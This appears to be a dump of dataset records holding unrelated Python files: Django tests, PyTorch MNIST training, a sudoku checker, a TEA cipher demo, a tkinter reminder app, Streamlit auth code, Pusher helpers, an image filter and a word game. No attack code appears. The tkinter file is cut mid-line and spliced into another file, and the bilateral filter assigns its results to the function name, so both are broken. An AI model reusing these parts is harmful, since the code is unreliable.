self.assertEqual(200, resp.status_code)\n\n # we shouldn't be able to access elections which are\n # suggsted, rejected or deleted via the DetailView\n resp = self.client.get(\n \"/api/elections/{}/\".format(rejected.election_id)\n )\n self.assertEqual(404, resp.status_code)\n resp = self.client.get(\n \"/api/elections/{}/\".format(suggested.election_id)\n )\n self.assertEqual(404, resp.status_code)\n resp = self.client.get(\"/api/elections/{}/\".format(deleted.election_id))\n self.assertEqual(404, resp.status_code)\n\n def test_child_election_status(self):\n # 4 ballots in the same group with different moderation statuses\n group = ElectionWithStatusFactory(\n group_type=\"election\", moderation_status=related_status(\"Approved\")\n )\n approved = ElectionWithStatusFactory(\n group=group, moderation_status=related_status(\"Approved\")\n )\n suggested = ElectionWithStatusFactory(\n group=group, moderation_status=related_status(\"Suggested\")\n )\n rejected = ElectionWithStatusFactory(\n group=group, moderation_status=related_status(\"Rejected\")\n )\n deleted = ElectionWithStatusFactory(\n group=group, moderation_status=related_status(\"Deleted\")\n )\n\n # DetailView should only show approved child elections\n resp = self.client.get(\"/elections/{}/\".format(group.election_id))\n self.assertEqual(200, resp.status_code)\n self.assertContains(resp, approved.election_id, html=True)\n self.assertNotContains(resp, suggested.election_id, html=True)\n self.assertNotContains(resp, rejected.election_id, html=True)\n self.assertNotContains(resp, deleted.election_id, html=True)\n\n def test_edit_in_admin_link_not_displayed(self):\n election = ElectionWithStatusFactory()\n response = self.client.get(election.get_absolute_url())\n\n self.assertEqual(response.status_code, 200)\n self.assertNotContains(response, \"Edit in admin\")\n\n # logged in non-superuser\n user = get_user_model().objects.create(is_superuser=False)\n self.client.force_login(user=user)\n response = self.client.get(election.get_absolute_url())\n\n self.assertEqual(response.status_code, 200)\n self.assertNotContains(response, \"Edit in admin\")\n\n def test_edit_in_admin_is_displayed_for_superuser(self):\n election = ElectionWithStatusFactory()\n user = get_user_model().objects.create(is_superuser=True)\n self.client.force_login(user=user)\n response = self.client.get(election.get_absolute_url())\n\n self.assertEqual(response.status_code, 200)\n self.assertContains(response, \"Edit in admin\")\n","repo_name":"DemocracyClub/EveryElection","sub_path":"every_election/apps/elections/tests/test_views.py","file_name":"test_views.py","file_ext":"py","file_size_in_byte":3768,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"48"} +{"seq_id":"16240211730","text":"\"\"\"\nFeedforward NN with all techniques learned before\n\"\"\"\n\n# MNIST\n# DataLoader, Transformation\n# Multilayer Neural net, activation function\n# Loss and optimizer\n# Training loop (batch training)\n# Model evaluation\n# GPU support\n\n# from time import time\nimport torch\nimport torch.nn as nn\nimport torchvision\nimport torchvision.transforms as transforms\nimport matplotlib.pyplot as plt\n\n# device config\ndevice = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n# device = torch.device('cpu')\n\n# hyper parameters\nINPUT_SIZE = 784 # 28x28\nHIDDEN_SIZE = 500\nNUM_CLASSES = 10\nNUM_EPOCHS = 2\nBATCH_SIZE = 100\nLEARNING_RATE = 0.001\n\n# MNIST\ntrain_dataset = torchvision.datasets.MNIST(\n root='./data', train=True, transform=transforms.ToTensor(), download=True)\n\ntest_dataset = torchvision.datasets.MNIST(\n root='./data', train=False, transform=transforms.ToTensor())\n\ntrain_loader = torch.utils.data.DataLoader(\n dataset=train_dataset, batch_size=BATCH_SIZE, shuffle=True)\n\ntest_loader = torch.utils.data.DataLoader(\n dataset=test_dataset, batch_size=BATCH_SIZE, shuffle=False)\n\nexamples = iter(test_loader)\nexample_data, example_targets = examples.next()\nprint(example_data.shape, example_targets.shape)\n\nfor i in range(6):\n plt.subplot(2, 3, i+1)\n plt.imshow(example_data[i][0], cmap='gray')\n# plt.show()\n\n\nclass NeuralNet(nn.Module):\n \"\"\"Neural net for digit classification\"\"\"\n\n def __init__(self, input_size, hidden_size, num_classes):\n # pylint: disable=invalid-name\n super().__init__()\n self.l1 = nn.Linear(input_size, hidden_size)\n self.relu = nn.ReLU()\n self.l2 = nn.Linear(hidden_size, num_classes)\n\n def forward(self, x):\n \"\"\"Forward run through the network\"\"\"\n out = self.l1(x)\n out = self.relu(out)\n out = self.l2(out)\n # no activation nor softmax at the end\n return out\n\n\n# tic = time() # training time measurement\n\nmodel = NeuralNet(INPUT_SIZE, HIDDEN_SIZE, NUM_CLASSES).to(device)\n\n\n# loss and optimizer\nloss_fnc = nn.CrossEntropyLoss()\noptimizer = torch.optim.Adam(model.parameters(), lr=LEARNING_RATE)\n\n\n# training loop\nn_total_steps = len(train_loader) # amount of batches\n\nfor epoch in range(NUM_EPOCHS):\n for i, (images, example_targets) in enumerate(train_loader):\n # 100, 1, 28, 28\n # 100, 784\n images = images.reshape(-1, 28*28).to(device)\n example_targets = example_targets.to(device)\n\n # forward\n outputs = model(images)\n loss = loss_fnc(outputs, example_targets)\n\n # backward\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n\n if (i+1) % 100 == 0:\n print(\n f\"epoch {epoch+1} / {NUM_EPOCHS}, step {i+1}/{n_total_steps}, loss = {loss.item():.4f}\")\n\n# time measurement\n# toc = time()\n# print(f\"Training time: {toc-tic}\")\n\n# test\nwith torch.no_grad():\n n_correct = 0\n n_samples = 0\n\n for images, labels in test_loader:\n images = images.reshape(-1, 28*28).to(device)\n labels = labels.to(device)\n outputs = model(images)\n\n # value, index; predictions are class-labels\n _, predicted = torch.max(outputs, 1)\n n_samples += labels.shape[0]\n n_correct += (predicted == labels).sum().item()\n\n acc = 100.0 * n_correct / n_samples\n print(f'accuracy = {acc}')\n","repo_name":"matthimatik/pytorch-tutorial","sub_path":"my_feedforward.py","file_name":"my_feedforward.py","file_ext":"py","file_size_in_byte":3367,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"1368498250","text":"#\n# @lc app=leetcode id=36 lang=python3\n#\n# [36] Valid Sudoku\n#\n\n# @lc code=start\nclass Solution:\n def isValidSudoku(self, board: List[List[str]]) -> bool:\n rows = [set() for _ in range(9)]\n cols = [set() for _ in range(9)]\n boxes = [set() for _ in range(9)]\n\n for i in range(9) :\n for j in range(9) :\n if board[i][j] == '.' : continue\n idx = (i // 3) + (j // 3) * 3\n if board[i][j] in rows[i] or board[i][j] in cols[j] or board[i][j] in boxes[idx] :\n return False\n rows[i].add(board[i][j])\n cols[j].add(board[i][j])\n boxes[idx].add(board[i][j])\n \n return True\n\n \n# @lc code=end\n\n","repo_name":"quixoteji/Leetcode","sub_path":"solutions/36.valid-sudoku.py","file_name":"36.valid-sudoku.py","file_ext":"py","file_size_in_byte":752,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"32641835832","text":"\n# -*- coding: utf-8 -*-\n\n\"\"\" Part of SCA - Simple Crypto Attempts - Not to be considered safe for encryption!\n\n In cryptography, the Tiny Encryption Algorithm (TEA) is a block cipher\n notable for its simplicity of description and implementation,\n typically a few lines of code. It was designed by David Wheeler and\n Roger Needham of the Cambridge Computer Laboratory; it was first presented\n at the Fast Software Encryption workshop in Leuven in 1994,\n and first published in the proceedings of that workshop.\n\n The cipher is not subject to any patents.\n\n https://en.wikipedia.org/wiki/Tiny_Encryption_Algorithm \"\"\"\n\nimport os\nfrom pytea import TEA\n\nkey = os.urandom(16)\nprint('key is', key)\ncontent = 'Hello, 你好'\ntea = TEA(key)\ne = tea.encrypt(content.encode())\nprint('encrypt hex:', e.hex())\nd = tea.decrypt(e)\nprint('decrypt:', d.decode())","repo_name":"m0llyR/HistoCrypto","sub_path":"SCA/sca_tea.py","file_name":"sca_tea.py","file_ext":"py","file_size_in_byte":871,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"29845271404","text":"from win10toast_click import ToastNotifier\nimport threading\nimport time\nimport webbrowser\nimport sqlite3\nfrom sqlite3 import Error\nfrom tkinter import *\nfrom tkinter.ttk import *\nfrom tkinter import ttk\nfrom threading import Timer\nimport tkcalendar\nimport tkinter as tk\nfrom PIL import Image, ImageTk\nfrom itertools import count\nfrom datetime import date\nimport re\nnotif_icon_path = \"leaf3.ico\"\n\n\ndef thread_function_One(delay_eyes=300):\n t = threading.currentThread()\n while getattr(t, \"do_run\", True):\n time.sleep(delay_eyes)\n open_eyes_healthcare_notif()\n\n\ndef thread_function_Two(delay_body=1800):\n t = threading.currentThread()\n while getattr(t, \"do_run\", True):\n time.sleep(delay_body)\n open_body_healthcare_notif()\n\n\ndef validate(new_val):\n return re.match(\"^\\d{0,2}\\:[012345]?[0123456789]?$\", new_val) is not None\n\n\ndef timer_stop(timer, func, duration_entry, sleep_entry):\n timer[0].cancel()\n timer[0] = RepeatTimer(1, func)\n duration_entry.config(state=\"normal\")\n sleep_entry.config(state=\"normal\")\n\n\ndef timer_start(duration_entry, sleep_entry, timer, current_text_lbl, current_time_lbl):\n if timer.is_alive():\n return\n dur_time = time_from_str(duration_entry.get())\n sleep_time = time_from_str(sleep_entry.get())\n duration_entry.config(state=\"disabled\")\n sleep_entry.config(state=\"disabled\")\n timer.daemon = True\n current_time_lbl.config(text=(str(dur_time // 60) + \":\" +\n (\"00\" if ((str(dur_time % 60) ) == \"0\") else (str(dur_time % 60)))))\n timer.args = [current_text_lbl, current_time_lbl, dur_time, sleep_time]\n timer.start()\n\n\ndef label_change(text_lbl, time_lbl, base_dur_time=1800, base_sleep_time=300):\n cur_dur_time = time_from_str(time_lbl.cget(\"text\"))\n cur_dur_time -= 1\n if cur_dur_time <= 0:\n if text_lbl.cget(\"text\") == \"Работа\":\n notif_create(\"Пора отдохнуть\",\n \"Помидорка работы прошла, пора взять перерыв и вернуться к работе после него\")\n text_lbl.config(text=\"Отдых\")\n time_lbl.config(text=(str(base_sleep_time // 60) + \":\" +\n (\"00\" if ((str(base_sleep_time % 60) ) == \"0\") else (str(base_sleep_time % 60)))))\n else:\n notif_create(\"Пора работать\",\n \"Помидорка отдыха прошла, возвращаемся к работе с новыми силами\")\n text_lbl.config(text=\"Работа\")\n time_lbl.config(text=(str(base_dur_time // 60) + \":\" +\n (\"00\" if ((str(base_dur_time % 60) ) == \"0\") else (str(base_dur_time % 60)))))\n else:\n time_lbl.config(text=(str(cur_dur_time // 60) + \":\" +\n (\"00\" if ((str(cur_dur_time % 60) ) == \"0\") else (str(cur_dur_time % 60)))))\n\n\nclass RepeatTimer(Timer):\n def run(self):\n while not self.finished.wait(self.interval):\n self.function(*self.args, **self.kwargs)\n\n\nclass ImageLabel(tk.Label):\n \"\"\"a label that displays images, and plays them if they are gifs\"\"\"\n def load(self, im):\n if isinstance(im, str):\n im = Image.open(im)\n self.loc = 0\n self.frames = []\n\n try:\n for i in count(1):\n self.frames.append(ImageTk.PhotoImage(im.copy()))\n im.seek(i)\n except EOFError:\n pass\n\n try:\n self.delay = im.info['duration']\n except:\n self.delay = 100\n\n if len(self.frames) == 1:\n self.config(image=self.frames[0])\n else:\n self.next_frame()\n\n def unload(self):\n self.config(image=\"\")\n self.frames = None\n\n def next_frame(self):\n if self.frames:\n self.loc += 1\n self.loc %= len(self.frames)\n self.config(image=self.frames[self.loc])\n self.after(self.delay, self.next_frame)\n\n\nclass MyEntry(tk.Entry):\n def __init__(self, master=None, **kw):\n super().__init__(master, **kw)\n # make it disabled, but with black on white like in normal state\n self.config(state='disabled', disabledforeground='black', disabledbackground='white')\n\n def insert(self, pos, value):\n self.config(state='normal')\n super().insert(pos, value)\n self.config(state='disabled')\n\n def delete(self, first, last=None):\n self.config(state='normal')\n super().delete(first, last)\n self.config(state='disabled')\n\n\ndef notif_create(title, description, duration=10, icon=notif_icon_path, delay=0):\n toast = ToastNotifier()\n if delay != 0:\n def func(sleep_time, notif):\n time.sleep(sleep_time)\n notif.show_toast(title, description, duration=duration, threaded=True, icon_path=icon)\n\n thread = threading.Thread(target=func, args=[delay, toast], daemon=True)\n thread.start()\n return\n else:\n toast.show_toast(title, description, duration=duration, threaded=True, icon_path=icon)\n return\n\n\ndef time_from_str(time_string):\n first = time_string[0:time_string.find(':')]\n if first == '':\n first = \"0\"\n second = time_string[time_string.find(':') + 1:]\n if second == '':\n second = \"0\"\n time_in_seconds = int(first) * 60 + int(second)\n return time_in_seconds\n\n\ndef open_eyes_healthcare_notif():\n def open_eyes_healthcare():\n website = \"https://www.wikihow.com/Exercise-Your-Eyes\"\n try:\n webbrowser.open(website)\n except:\n print(\"Failed to open the download page.\")\n\n toast = ToastNotifier()\n toast.show_toast(\"Пожалуйста дайте вашим глазам отдохнуть\",\n \"Взгляните в даль, потом на палец, и закройте глаза на 20 секунд\",\n duration=8,\n callback_on_click=open_eyes_healthcare,\n threaded=True,\n icon_path=\"leaf3.ico\")\n\n\ndef open_body_healthcare():\n website = \"https://ru.wikihow.com/выполнять-упражнения,-сидя-за-компьютером\"\n try:\n webbrowser.open(website)\n except:\n print(\"Failed to open the download page.\")\n\n\ndef open_body_healthcare_notif():\n toast2 = ToastNotifier()\n toast2.show_toast(\"Проведите разминку\",\n \"Потратьте пару минут на разминку тела. Пример вы можете посмотреть нажав на уведомление\",\n duration=10,\n callback_on_click=open_body_healthcare,\n threaded=True,\n icon_path=\"leaf3.ico\")\n\n\ndef create_connection(db_file):\n \"\"\" create a database connection to a SQLite database \"\"\"\n conn = None\n try:\n conn = sqlite3.connect(db_file)\n print(sqlite3.version)\n except Error as e:\n print(e)\n finally:\n if conn:\n conn.close()\n\n\ndef openNewWindow(tab):\n # Toplevel object which will\n # be treated as a new window\n newWindow = Toplevel(tab)\n\n # sets the title of the\n # Toplevel widget\n newWindow.title(\"Новая задача!! :3\")\n newWindow.iconbitmap(\"leaf2.ico\")\n newWindow.resizable(False, False)\n # sets the geometry of toplevel\n newWindow.geometry('+%d+%d' % (650, 340))\n windowCanvas = Canvas(newWindow, width=600, height=300, bg=\"#C3E8BD\", relief=FLAT)\n windowCanvas.grid(rowspan=5, columnspan=1)\n Label(windowCanvas, text=\"Название задачи:\", width=20, background=\"#C3E8BD\", style=\"Text.TLabel\",\n anchor=\"center\").grid(row=0, column=0, columnspan=2, pady=2)\n taskname = Text(windowCanvas, width=30, height=1)\n taskname.grid(row=1, column=0, columnspan=2)\n DateSet = tkcalendar.DateEntry(windowCanvas, selectmode='day', font=(\"Bahnschrift\", 15), background=\"#C3E8BD\", foreground=\"Black\",\n justify=\"center\", selectborderwidth=\"0\")\n datevalid = StringVar()\n datevalid.set(\"Дедлайн:\")\n Label(windowCanvas, textvariable=datevalid, width=20, background=\"#C3E8BD\", style=\"Text.TLabel\",\n anchor=\"center\").grid(row=2, column=0, columnspan=2)\n DateSet.grid(row=3, column=0, columnspan=2)\n tk.Button(windowCanvas, text=\"добавить\", width=15, font=\"Bahnschrift\", bg=\"#2e5339\", fg=\"#C3E8BD\",\n command=lambda: insertDB(taskname.get(\"1.0\", END), DateSet.get_date(), datevalid, tab)).grid(row=5, column=0, columnspan=2)\n\n\ndef insertDB(taskname, DateSet, datevalid, tab):\n my_conn=sqlite3.connect('tasks.db')\n if DateSet= lamda\n J = J1 | J2\n if not as_set:\n return J\n return set(np.where(J)[0])\n\n\ndef get_support(x_bar, A, b, lamda, use_equicorrelation=False):\n r_bar = b.ravel() - A.dot(x_bar).ravel()\n supp = ~np.isclose(x_bar, 0).ravel()\n if use_equicorrelation:\n J = equicorrelation(A, r_bar, lamda)\n supp = J * supp\n mask = ~supp\n return supp, mask\n\n\ndef lipschitz_bound_lamda(x_bar, A, b, lamda):\n assert x_bar.size == np.max(x_bar.shape)\n x_bar = x_bar.ravel()\n support, mask = get_support(x_bar, A, b, lamda)\n s_ = support.sum()\n\n if s_ < 1:\n return 0.0\n\n AI = A[:, support]\n r = A.dot(x_bar).ravel() - b.ravel()\n\n rho, resid, rank, svdvals = la.lstsq(AI, r, rcond=None)\n if rank != s_:\n print(f\"A_I rank-deficient. rank: {rank} sparsity: {s_}.\")\n return np.nan\n\n out = la.norm(rho) / lamda\n return out\n","repo_name":"asberk/srlasso_revolutions","sub_path":"uclasso_utils.py","file_name":"uclasso_utils.py","file_ext":"py","file_size_in_byte":1070,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"39138121276","text":"import openai\nimport weaviate\nimport streamlit as st\n\n\ndef connect_to_openai(openai_api_key: str) -> None:\n \"\"\"Try to connect to OpenAI using the API key.\n Set the state variable OPENAI_STATUS based on the outcome\n \"\"\"\n try:\n openai.api_key = openai_api_key\n openai.ChatCompletion.create(\n model=\"gpt-3.5-turbo\",\n messages=[dict(role=\"user\", content=\"hello\")],\n )\n except Exception as e:\n st.session_state[\"OPENAI_STATUS\"] = \"error\", e\n return\n \n st.session_state[\"OPENAI_STATUS\"] = \"success\", None\n\n\ndef user_auth_openai():\n \"\"\"Container to enter OpenAI API key\"\"\"\n form = st.form(\"openai_auth_form\")\n\n openai_api_key = form.text_input(\n \"OpenAI API key\", \n type=\"password\",\n help=\"[docs](https://platform.openai.com/docs/api-reference/introduction)\",\n key=\"openai_api_key_main\",\n )\n\n if form.form_submit_button(\"Authenticate\"):\n connect_to_openai(openai_api_key)\n\n\ndef openai_connection_status():\n \"\"\"Message about the success/failure of the OpenAI connection\"\"\"\n openai_status, openai_message = st.session_state.get(\"OPENAI_STATUS\", (None, None))\n if openai_status == \"success\":\n st.success(\"Connected to OpenAI\")\n elif openai_status == \"error\":\n st.error(openai_message)\n else:\n st.warning(\"Visit `Information` to connect to OpenAI\")\n\n\ndef connect_to_weaviate(weaviate_url, weaviate_api_key, is_default_instance):\n \"\"\"Try to connect to Weaviate using the URL and API key.\n Set the state variable WEAVIATE_STATUS based on the outcome.\n If the credentials are provided by the user set the \n \"\"\"\n try:\n weaviate_client = weaviate.Client(\n url=weaviate_url, \n auth_client_secret=weaviate.AuthApiKey(api_key=weaviate_api_key),\n )\n except Exception as e:\n st.session_state[\"WEAVIATE_STATUS\"] = \"error\", e\n return\n\n if weaviate_client.is_live() and weaviate_client.is_ready():\n st.session_state[\"WEAVIATE_CLIENT\"] = weaviate_client\n\n if is_default_instance:\n st.session_state[\"WEAVIATE_DEFAULT_INSTANCE\"] = True\n st.session_state[\"WEAVIATE_STATUS\"] = \"success\", None\n else:\n st.session_state[\"WEAVIATE_DEFAULT_INSTANCE\"] = False\n st.session_state[\"WEAVIATE_STATUS\"] = \"success\", None\n else:\n st.session_state[\"WEAVIATE_STATUS\"] = \"error\", ConnectionError(\"Weaviate server is not ready.\")\n\n\ndef user_auth_weaviate():\n \"\"\"Container to enter Weaviate credentials\"\"\"\n form = st.form(\"weaviate_auth_form\")\n\n weaviate_url = form.text_input(\n \"Weaviate Instance URL\",\n help=\"[docs](https://weaviate.io/developers/wcs/quickstart)\",\n )\n\n weaviate_api_key = form.text_input(\n \"Weaviate API key\",\n type=\"password\",\n help=\"[docs](https://weaviate.io/developers/wcs/quickstart)\"\n )\n\n if form.form_submit_button(\"Connect\"):\n connect_to_weaviate(weaviate_url, weaviate_api_key, is_default_instance=False)\n\n\ndef default_auth_weaviate():\n \"\"\"Connect to the default/public Weaviate instance\"\"\"\n if st.session_state.get(\"WEAVIATE_CLIENT\"):\n return\n \n if st.session_state.get(\"WEAVIATE_DEFAULT_INSTANCE\") is False:\n return\n \n weaviate_url = st.secrets.get(\"WEAVIATE_URL\")\n weaviate_api_key = st.secrets.get(\"WEAVIATE_API_KEY\")\n connect_to_weaviate(weaviate_url, weaviate_api_key, is_default_instance=True)\n\n\ndef weaviate_connection_status():\n \"\"\"Message about the success/failure of the Weaviate connection\"\"\"\n weaviate_status, weaviate_message = st.session_state.get(\"WEAVIATE_STATUS\", (None, None))\n\n if weaviate_status == \"success\":\n if st.session_state[\"WEAVIATE_DEFAULT_INSTANCE\"]:\n st.success(\"Connected to Default Weaviate Instance\")\n else:\n st.success(\"Connected to User Weaviate Instance\")\n\n elif weaviate_status == \"error\":\n st.error(weaviate_message)\n\n else:\n st.warning(\"Visit `Information` to connect to Weaviate\")","repo_name":"zilto/vector-librarian","sub_path":"vector_librarian/authentication.py","file_name":"authentication.py","file_ext":"py","file_size_in_byte":4080,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"5469516293","text":"import numpy as np\nfrom scipy.stats import entropy\n\ndef counts_hic (H,threshold) :\n \"\"\"\n Given the Hi-C matrix H, calculate the approximate number of contacts that\n the genomic sites make with the others. First, remove the rows that contain\n less than 'threshold' counts, then do the exponential of the entropy.\n \"\"\"\n counts = []\n mask = H.sum(axis=1)>=threshold\n for row in H[mask] :\n cleanrow = row[mask]\n counts.append(np.exp(entropy(cleanrow)))\n return np.array(counts),mask\n\n\n","repo_name":"rcortini/mybiotools","sub_path":"hic_tools.py","file_name":"hic_tools.py","file_ext":"py","file_size_in_byte":522,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"17731553193","text":"# -*- coding: utf-8 -*-\n\nfrom __future__ import (\n print_function,\n unicode_literals,\n absolute_import,\n division)\n\nimport json\nimport re\nimport six\nimport sys\nimport base64\n\nchannel_name_re = re.compile(r'\\A[-a-zA-Z0-9_=@,.;]+\\Z')\napp_id_re = re.compile(r'\\A[0-9]+\\Z')\npusher_url_re = re.compile(r'\\A(http|https)://(.*):(.*)@(.*)/apps/([0-9]+)\\Z')\nsocket_id_re = re.compile(r'\\A\\d+\\.\\d+\\Z')\n\nif sys.version_info < (3,):\n text = 'a unicode string'\nelse:\n text = 'a string'\n\nif sys.version_info < (3,):\n byte_type = 'a python2 str'\nelse:\n byte_type = 'a python3 bytes'\n\ndef ensure_text(obj, name):\n if isinstance(obj, six.text_type):\n return obj\n\n if isinstance(obj, six.string_types):\n return six.text_type(obj)\n\n if isinstance(obj, six.binary_type):\n return bytes(obj).decode('utf-8')\n\n raise TypeError(\"%s should be %s instead it is a %s\" % (name, text, type(obj)))\n\ndef ensure_binary(obj, name):\n \"\"\"\n ensure_binary() ensures that the value is a\n python2 str or python3 bytes\n more on this here: https://pythonhosted.org/six/#six.binary_type\n \"\"\"\n if isinstance(obj, six.binary_type):\n return obj\n\n if isinstance(obj, six.text_type) or isinstance(obj, six.string_types):\n return obj.encode(\"utf-8\")\n\n raise TypeError(\"%s should be %s instead it is a %s\" % (name, byte_type, type(obj)))\n\n\ndef is_base64(s):\n \"\"\"\n is_base64 tests whether a string is valid base64 by testing that it round-trips accurately.\n This is required because python 2.7 does not have a Validate option to the decoder.\n \"\"\"\n try:\n s = six.ensure_binary(s, \"utf-8\")\n return base64.b64encode(base64.b64decode(s)) == s\n except Exception as e:\n return False\n\ndef validate_user_id(user_id):\n user_id = ensure_text(user_id, \"user_id\")\n\n length = len(user_id)\n if length == 0:\n raise ValueError(\"User id is empty\")\n\n if length > 200:\n raise ValueError(\"User id too long: '{}'\".format(user_id))\n\n if not channel_name_re.match(user_id):\n raise ValueError(\"Invalid user id: '{}'\".format(user_id))\n\n return user_id\n\ndef validate_channel(channel):\n channel = ensure_text(channel, \"channel\")\n\n if len(channel) > 200:\n raise ValueError(\"Channel too long: %s\" % channel)\n\n if not channel_name_re.match(channel):\n raise ValueError(\"Invalid Channel: %s\" % channel)\n\n return channel\n\n\ndef validate_socket_id(socket_id):\n socket_id = ensure_text(socket_id, \"socket_id\")\n\n if not socket_id_re.match(socket_id):\n raise ValueError(\"Invalid socket ID: %s\" % socket_id)\n\n return socket_id\n\n\ndef join_attributes(attributes):\n return six.text_type(',').join(attributes)\n\n\ndef data_to_string(data, json_encoder):\n if isinstance(data, six.string_types):\n return ensure_text(data, \"data\")\n\n else:\n return json.dumps(data, cls=json_encoder, ensure_ascii=False)\n\n\ndef doc_string(doc):\n def decorator(f):\n f.__doc__ = doc\n return f\n\n return decorator\n","repo_name":"pusher/pusher-http-python","sub_path":"pusher/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":3044,"program_lang":"python","lang":"en","doc_type":"code","stars":370,"dataset":"github-code","pt":"48"} +{"seq_id":"73986622547","text":"\"\"\"\nReferences:\nhttps://github.com/TheAlgorithms/Python/blob/master/digital_image_processing/filters/bilateral_filter.py\n\"\"\"\nimport cv2\nimport numpy as np\n\n\ndef vec_gaussian(img, sigma):\n cons = 1 / (sigma * np.sqrt(2 * np.pi))\n return cons * np.exp(-((img / sigma) ** 2) * 0.5)\n\n\ndef get_window(img, center, k_size=3):\n y, x = center\n off_set = k_size // 2\n return img[y-off_set: y+off_set+1, x-off_set:x+off_set+1]\n\n\ndef get_space_gaussian(k_size=3, sigma=1):\n space_gaussian = np.zeros((k_size, k_size))\n for i in range(k_size):\n for j in range(k_size):\n space_gaussian[i, j] = np.sqrt(abs(i - k_size // 2) ** 2 + abs(j - k_size // 2) ** 2)\n return vec_gaussian(space_gaussian, sigma)\n\n\ndef bilateral_filter(img, space_sigma=1, intensity_sigma=1, k_size=3):\n height, width = img.shape[0], img.shape[1]\n pad_size = k_size // 2\n padding_img = np.pad(img, pad_size, mode=\"edge\")\n space_gaussian = get_space_gaussian(k_size, space_sigma)\n bilateral_img = np.zeros((height, width))\n for i in range(pad_size, padding_img.shape[0]-pad_size):\n for j in range(pad_size, padding_img.shape[1]-pad_size):\n window_intensity = get_window(padding_img, (i, j), k_size)\n differ_intensity = window_intensity - padding_img[i][j]\n intensity_gaussian = vec_gaussian(differ_intensity, intensity_sigma)\n current_gaussian = np.multiply(intensity_gaussian, space_gaussian)\n values = np.multiply(window_intensity, current_gaussian)\n current_value = np.sum(values) / np.sum(current_gaussian)\n bilateral_filter[i - pad_size][j - pad_size] = current_value\n return bilateral_img\n\n\nif __name__ == \"__main__\":\n test_path = r\"./test.jpg\"\n img = cv2.imread(test_path)\n gray_img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n gray_img = gray_img / 255\n gray_img = gray_img.astype(\"float32\")\n bilateral_img = bilateral_filter(gray_img)\n bilateral_img = bilateral_img * 255\n bilateral_img = bilateral_img.astype(\"uint8\")\n # show result images\n cv2.imshow(\"bilateral filter\", bilateral_img)\n cv2.waitKey(0)\n\n","repo_name":"chcorophyll/general_image_process_python","sub_path":"BilateralFilter.py","file_name":"BilateralFilter.py","file_ext":"py","file_size_in_byte":2147,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"5243319569","text":"# Name: Dinesha Priyadarshanee \r\n\r\n# Import the necessary modules.\r\nimport enchant # Used to import pyenchant package.\r\nimport json # Used to convert between JSON-formatted text and Python variables.\r\nimport string # Used to provide convenient access to a string variable containing all uppercase letters.\r\nimport random # Used to randomly select letters.\r\nfrom os import path # Used to find the path of the file.\r\n\r\n#Dictionary which contains the score values for each letters in the alphabet.\r\ndict_weights = {'A':1, 'E':1, 'I':1, 'O':1, 'U':1, 'L':1, 'N':1, 'S':1, 'T':1, 'R':1, 'D':2, 'G':2,\r\n 'B':3, 'C':3, 'M':3, 'P':3, 'F':4, 'H':4, 'V':4, 'W':4, 'Y':4, 'K':5, 'J':8, 'X':8,\r\n 'Q':10, 'Z':10}\r\n\r\n# This function generates and returns a list of 9 letters.\r\ndef select_letters():\r\n # This tuple contains 26 numbers, representing the frequency of each letter of the alphabet in Scrabble.\r\n letter_weights = (9, 2, 2, 4, 12, 2, 3, 2, 9, 1, 1, 4, 2, 6, 8, 2, 1, 6, 4, 6, 4, 2, 2, 1, 2, 1)\r\n\r\n # The letter_weights tuple is used in this call to the \"random.choices()\" function, along with\r\n # the pre-defined \"string.ascii_uppercase\" variable which contains the letters A to Z.\r\n chosen_letters = random.choices(string.ascii_uppercase, weights=letter_weights, k=9)\r\n\r\n # Returning the created list of 9 random letters using the specified letter frequencies.\r\n return chosen_letters\r\n\r\n# This function displays the 9 letters in a 3x3 grid.\r\ndef display_letters(letters):\r\n i = 0\r\n length = len(letters)\r\n \r\n while i < length:\r\n print((str(' '+ letters[i]+ ' | '+ letters[i+1]+ ' | '+ letters[i+2])).center(50))#printing 3 letters in a row seperated by '|'\r\n i += 3\r\n if i < length:\r\n print(('-'*11).center(52))#placing 11 '-' marks.\r\n\r\n#This function displays the words saved in the list.\r\ndef display_words(words):\r\n if len(words) == 0:\r\n print('You have not yet entered any words.')\r\n else:\r\n print('Previously entered words:')\r\n words.sort()\r\n for word in words:\r\n print('- ', word)\r\n\r\n# This function checks whether a word entered by the user contains appropriate letters.\r\ndef validate_word(word, letters):\r\n temp = letters.copy()\r\n for letter in word: \r\n if not (letter in temp):\r\n return False\r\n else:\r\n temp.remove(letter)# Used letters are removed to check whether the user trys the same letter twice.\r\n\r\n # Checking whether the word is a valid English word.\r\n dic = enchant.Dict('en_US')\r\n return dic.check(word)\r\n\r\n# This function returns the score for a given word.\r\ndef request_scrabble_score(user_input):\r\n score = 0\r\n for letter in user_input:\r\n score += dict_weights.get(letter)\r\n\r\n return score\r\n\r\n# This function is used to log the data including given letters, user given words and the score of different rounds.\r\ndef log_data(letters, used_words, score): \r\n file_name = 'log.txt'\r\n dict_log = {'letters': letters, 'words': used_words, 'score': score}\r\n saved_list = []\r\n\r\n #Checking whether the file is available in the current directory.\r\n if path.isfile(file_name) is True:\r\n #Open the file in read mode and load the content written in json format.\r\n with open(file_name, 'r') as fp:\r\n listObj = json.load(fp)\r\n for obj in listObj:\r\n #Save the logs inside a list.\r\n saved_list.append(obj)\r\n fp.close() \r\n\r\n #Add the current game's data to the same list.\r\n saved_list.append(dict_log)\r\n \r\n #Open the file again and write the data saved in the list.\r\n with open(file_name, 'w') as f:\r\n json.dump(saved_list, f, ensure_ascii=False, sort_keys=False, indent=4, skipkeys = True) \r\n\r\n# Welcome the user and create necessary variables.\r\nprint('Welcome to Word Find.')\r\nprint('Come up with as many words as possible from the letters below!', '\\n')\r\n\r\nhard_mode = 